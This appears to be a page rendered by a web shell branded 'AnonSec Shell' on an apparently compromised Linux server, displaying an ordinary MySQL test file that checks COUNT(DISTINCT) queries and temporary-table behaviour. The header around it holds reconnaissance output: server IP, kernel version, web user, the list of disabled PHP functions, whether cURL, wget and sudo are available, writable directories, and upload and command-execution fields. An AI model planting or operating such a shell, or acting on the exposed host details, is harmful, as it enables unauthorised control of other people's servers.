AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/server/mysql/mysql-test/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/server/mysql/mysql-test/t/count_distinct2.test
--source include/no_valgrind_without_big.inc
--disable_warnings
drop table if exists t1;
--enable_warnings

create table t1(n1 int, n2 int, s char(20), vs varchar(20), t text);
insert into t1 values (1,11, 'one','eleven', 'eleven'),
 (1,11, 'one','eleven', 'eleven'),
 (2,11, 'two','eleven', 'eleven'),
 (2,12, 'two','twevle', 'twelve'),
 (2,13, 'two','thirteen', 'foo'),
 (2,13, 'two','thirteen', 'foo'),
 (2,13, 'two','thirteen', 'bar'),
 (NULL,13, 'two','thirteen', 'bar'),
 (2,NULL, 'two','thirteen', 'bar'),
 (2,13, NULL,'thirteen', 'bar'),
 (2,13, 'two',NULL, 'bar'),
 (2,13, 'two','thirteen', NULL);

select distinct n1 from t1;
select count(distinct n1) from t1;

select distinct n2 from t1;
select count(distinct n2) from t1;

select distinct s from t1;
select count(distinct s) from t1;

select distinct vs from t1;
select count(distinct vs) from t1;

select distinct t from t1;
select count(distinct t) from t1;

select distinct n1,n2 from t1;
select count(distinct n1,n2) from t1;

select distinct n1,s from t1;
select count(distinct n1,s) from t1;

select distinct s,n1,vs from t1;
select count(distinct s,n1,vs) from t1;

select distinct s,t from t1;
select count(distinct s,t) from t1;

select count(distinct n1), count(distinct n2) from t1;

select count(distinct n2), n1 from t1 group by n1;
drop table t1;

# test the conversion from tree to MyISAM
create table t1 (n int default NULL);
let $1=5000;
disable_query_log;
while ($1)
{
 eval insert into t1 values($1);
 dec $1;
}
enable_query_log;

flush status;
select count(distinct n) from t1;
show status like 'Created_tmp_disk_tables';
drop table t1;

# Test use of MyISAM tmp tables
create table t1 (s text);
let $1=5000;
disable_query_log;
while ($1)
{
 eval insert into t1 values('$1');
 dec $1;
}
enable_query_log;
flush status;
select count(distinct s) from t1;
show status like 'Created_tmp_disk_tables';
drop table t1;

# End of 4.1 tests

Anon7 - 2022
AnonSec Team